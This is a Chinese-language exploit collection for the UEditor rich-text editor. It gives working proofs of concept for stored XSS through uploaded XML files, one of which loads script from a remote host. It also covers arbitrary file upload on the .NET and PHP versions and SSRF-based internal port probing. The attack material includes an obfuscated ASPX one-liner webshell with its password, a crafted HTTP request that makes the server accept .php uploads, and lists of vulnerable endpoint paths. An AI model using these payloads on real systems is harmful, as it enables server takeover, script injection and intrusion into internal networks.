部署 fex-team/ueditor: rich text 富文本编辑器 (github.com)
下载他们的发布版本,然后店家index.html 就出现了这个
XML 文件上传导致存储型XSS 上传一个图片文件,将参数uploadimage类型改为uploadfile并修改文件后缀名为xml,最后复制上xml代码即可
下面是一个xml xss poc
1 2 3 4 5 6 7 8 <html > <head > </head > <body > <something:script xmlns:something ="http://www.w3.org/1999/xhtml" > alert(1);</something:script > </body > </html >
/ueditor1433/php/controller.php?action=listfile
访问路径
其他poc
url 跳转
1 2 3 4 5 6 7 8 <html > <head > </head > <body > <something:script xmlns:something ="http://www.w3.org/1999/xhtml" > window.location.href="https://www.t00ls.net/";</something:script > </body > </html >
远程加载js
1 2 3 4 5 6 7 8 <html > <head > </head > <body > <something:script src ="http://xss.com/xss.js" xmlns:something ="http://www.w3.org/1999/xhtml" ></something:script > </body > </html >
常见的上传路径
1 2 3 4 5 6 7 8 9 10 11 /ueditor/i ndex.html/ueditor/ asp/controller.asp?action=uploadimage/ueditor/ asp/controller.asp?action=uploadfile/ueditor/ net/controller.ashx?action=uploadimage/ueditor/ net/controller.ashx?action=uploadfile/ueditor/ php/controller.php?action=uploadfile/ueditor/ php/controller.php?action=uploadimage/ueditor/ jsp/controller.jsp?action=uploadfile/ueditor/ jsp/controller.jsp?action=uploadimage/ueditor/ net/controller.ashx?action=listfile/ueditor/ net/controller.ashx?action=listimage
.NET 版本文件上传 该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有.NET版本受该漏洞影响。 黑客可以利用该漏洞上传木马文件,执行命令控制服务器。 该漏洞是由于上传文件时,使用的CrawlerHandler类未对文件类型进行检验,导致了任意文 件上传。1.4.3.3和1.5.0版本利用方式稍有不同,1.4.3.3需要一个能正确解析的域名。而1.5.0 用IP和普通域名都可以。相对来说1.5.0版本更加容易触发此漏洞;而在1.4.3.3版本中攻击者 需要提供一个正常的域名地址就可以绕过判断;
ueditor .1.5.0.net版本 首先1.5.0版本进行测试,需要先在外网服务器上传一个图片木马,比如:1.jpg/1.gif/1.png 都可以,下面x.x.x.x是外网服务器地址,source[]参数值改为图片木马地址,并在结尾加上 “?.aspx”即可getshell,利用POC:
1 2 POST /ueditor/net/controller.ashx?action=catchimage source%5B%5D=http%3A%2F%2Fx.x.x.x/1.gif?.aspx
ueditor.1.4.3.3 .net版 本地构造一个html,因为不是上传漏洞所以enctype 不需要指定为multipart/form-data, 之前见到有poc指定了这个值。完整的poc如下:
1 2 3 4 5 <form action ="http://xxxxxxxxx/ueditor/net/controller.ashx?action=catchimage" enctype ="application/x-www-form-urlencoded" method ="POST" ><p > shell addr: <input type ="text" name ="source[]" /> </p ><input type ="submit" value ="Submit" /> </form >
需准备一个图片马,远程shell地址需要指定扩展名为 1.gif?.aspx,1.gif图片木马(一句话 木马)密码:hello
1 2 3 4 5 6 7 8 9 10 GIF89a<script runat ="server" language ="JScript" > function popup (str ) {var q = "u" ;var w = "afe" ;var a = q + "ns" + w; var b= eval (str,a); return (b);} </script > <% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>
ueditor.1.3.6 .net版本 使用%00截断的方式上传绕过
PHP版本的文件上传 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1 Host : localhostConnection : keep-aliveContent-Length : 222Cache-Control : max-age=0Origin : nullUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36Content-Type : multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng, /;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 ———WebKitFormBoundaryDMmqvK6b3ncX4xxAContent-Disposition : form-data; name="fuck"; filename="fuck.php"Content-Type : application/octet-stream <?php phpinfo(); ?> ———WebKitFormBoundaryDMmqvK6b3ncX4xxA—
shell路径由CONFIG[imagePathFormat]=ueditor/php/upload/fuck决定http://localhost/ueditor/php/upload/fuck.php
SSRF漏洞 该漏洞存在于1.4.3的jsp版本中。但1.4.3.1版本已经修复了该漏洞。 已知该版本ueditor的ssrf触发点
/jsp/controller.jsp?action=catchimage&source[]= /jsp/getRemoteImage.jsp?upfile= /php/controller.php?action=catchimage&source[]=
使用百度logo构造poc:http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png Poc如下,同样是该controller文件,构造source参数,即可进行内网相关端口探测。
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg /ueditor/jsp/controller.jsp? action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif /ueditor/php/controller.php? action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif